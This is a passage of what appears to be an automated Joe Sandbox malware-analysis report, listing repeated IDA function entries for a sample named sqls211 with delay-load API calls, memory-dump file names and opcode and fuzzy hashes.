Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ae7f872bf747292a1f828fd7a2c63f56bdc58d47ca453709db728b04de00d283
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: ae7f872bf747292a1f828fd7a2c63f56bdc58d47ca453709db728b04de00d283
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE2B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 97193a326f77bce9efc03ee15bdb9727b12b20b5040ae35b3c6bf82ae5cd26af
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: 97193a326f77bce9efc03ee15bdb9727b12b20b5040ae35b3c6bf82ae5cd26af
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 82d14ec481e3ccc3bd41a4eedaf58dd6af61c082f026ab79437fe6e182af1f28
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: 82d14ec481e3ccc3bd41a4eedaf58dd6af61c082f026ab79437fe6e182af1f28
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e7f9d28a080d01f69019e9ef4c135bc2547f33b5f416d45fc74b6eeb14a05eb8
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: e7f9d28a080d01f69019e9ef4c135bc2547f33b5f416d45fc74b6eeb14a05eb8
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9d6cf4b5cab08ad41f9333296d35707b8d5b8e826d68c3a0e98c8370b617e743
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: 9d6cf4b5cab08ad41f9333296d35707b8d5b8e826d68c3a0e98c8370b617e743
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 82edf685798d621dac3ae1328fceb84549465ea026689a039c2399c7060ae2f4
Instruction ID: 2a5b9199aa232d9c2ae8bc71c6e955bbead33276d006ddaca92ff94550044b79
Opcode Fuzzy Hash: 82edf685798d621dac3ae1328fceb84549465ea026689a039c2399c7060ae2f4
Instruction Fuzzy Hash: 3CA001E62A919A7D324872566E46C3B025DC8C1B29330952FFA25E96D1AC9018456873

Function 00CDE446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b6af567acd30339c259eaab2d5594f8893139c0fb6a739c5cb18bc77e48814b4
Instruction ID: 47e17a36c2b48d80d0e6dbf447357391c3378baf4693bede2209d33845f68460
Opcode Fuzzy Hash: b6af567acd30339c259eaab2d5594f8893139c0fb6a739c5cb18bc77e48814b4
Instruction Fuzzy Hash: 73A001E62AD19ABC324872566E46C3B025DC8C5B65330992FFA16D96D1A89018456873

Function 00CDE40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5566987519b71ef7e774841d93a8c1c6646147044e8beeac51355f7f0b77709b
Instruction ID: 47e17a36c2b48d80d0e6dbf447357391c3378baf4693bede2209d33845f68460
Opcode Fuzzy Hash: 5566987519b71ef7e774841d93a8c1c6646147044e8beeac51355f7f0b77709b
Instruction Fuzzy Hash: 73A001E62AD19ABC324872566E46C3B025DC8C5B65330992FFA16D96D1A89018456873

Function 00CDE414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0ce9e03acd2583b185641c2a54a4d00dc50c68018bfb738a5e05145523d0ecd2
Instruction ID: 47e17a36c2b48d80d0e6dbf447357391c3378baf4693bede2209d33845f68460
Opcode Fuzzy Hash: 0ce9e03acd2583b185641c2a54a4d00dc50c68018bfb738a5e05145523d0ecd2
Instruction Fuzzy Hash: 73A001E62AD19ABC324872566E46C3B025DC8C5B65330992FFA16D96D1A89018456873

Function 00CDE43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0d08c898f319bc5651ef4db13299a43d7ebecb1467a9303be3b73c563d119de6
Instruction ID: 47e17a36c2b48d80d0e6dbf447357391c3378baf4693bede2209d33845f68460
Opcode Fuzzy Hash: 0d08c898f319bc5651ef4db13299a43d7ebecb1467a9303be3b73c563d119de6
Instruction Fuzzy Hash: 73A001E62AD19ABC324872566E46C3B025DC8C5B65330992FFA16D96D1A89018456873

Function 00CDE432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b693e4d475864cc74b716d8693bc2985ae86db523dafb35ec95bc33c07f5a160
Instruction ID: 47e17a36c2b48d80d0e6dbf447357391c3378baf4693bede2209d33845f68460
Opcode Fuzzy Hash: b693e4d475864cc74b716d8693bc2985ae86db523dafb35ec95bc33c07f5a160
Instruction Fuzzy Hash: 73A001E62AD19ABC324872566E46C3B025DC8C5B65330992FFA16D96D1A89018456873

Function 00CDE58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE580

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1b274f8cd3f9d2a607d58651f3c5542a9002eeb84f3f71a852d07ed7906640b8
Instruction ID: 193db1a61880c5c030977c10d5db240c3490fb630d45c57191d75820dfea41e9
Opcode Fuzzy Hash: 1b274f8cd3f9d2a607d58651f3c5542a9002eeb84f3f71a852d07ed7906640b8
Instruction Fuzzy Hash: F6A002D565D1557C314471566D46C37011DC4C5B55331556FF615C95C1784018556471

Function 00CDE5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE580

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: adcb99dfc991f71df1ae2791909b4f193acffcfc4cf7fd555a740dd5212139dc
Instruction ID: 193db1a61880c5c030977c10d5db240c3490fb630d45c57191d75820dfea41e9
Opcode Fuzzy Hash: adcb99dfc991f71df1ae2791909b4f193acffcfc4cf7fd555a740dd5212139dc
Instruction Fuzzy Hash: F6A002D565D1557C314471566D46C37011DC4C5B55331556FF615C95C1784018556471

Function 00CDE541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE51F

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3dbaaff6afa2cbb29aafd789de013f9d21759909143e5035d05608ec215c2d62
Instruction ID: 688717c995739e6a5463b50fc0dcd8fbee6b4dc69c5b5ef4eb25c7cd541061a1
Opcode Fuzzy Hash: 3dbaaff6afa2cbb29aafd789de013f9d21759909143e5035d05608ec215c2d62
Instruction Fuzzy Hash: F7A001D66AD58ABC3148725A6E46C3B162DC4D6FA9370992FFA16CC6C1B8801C457872

Function 00CDE55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE51F

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7c78d723a8bd3918b72f3d0f59feca77159121e044cce37c56d5e83538066ef1
Instruction ID: 688717c995739e6a5463b50fc0dcd8fbee6b4dc69c5b5ef4eb25c7cd541061a1
Opcode Fuzzy Hash: 7c78d723a8bd3918b72f3d0f59feca77159121e044cce37c56d5e83538066ef1
Instruction Fuzzy Hash: F7A001D66AD58ABC3148725A6E46C3B162DC4D6FA9370992FFA16CC6C1B8801C457872

Function 00CDE555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE51F

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eb22ee22fe6dad20b1519a43e0cf0d5b72b90a34e09786fd39c9489a37214597
Instruction ID: 688717c995739e6a5463b50fc0dcd8fbee6b4dc69c5b5ef4eb25c7cd541061a1
Opcode Fuzzy Hash: eb22ee22fe6dad20b1519a43e0cf0d5b72b90a34e09786fd39c9489a37214597
Instruction Fuzzy Hash: F7A001D66AD58ABC3148725A6E46C3B162DC4D6FA9370992FFA16CC6C1B8801C457872

Function 00CDE569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE51F

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

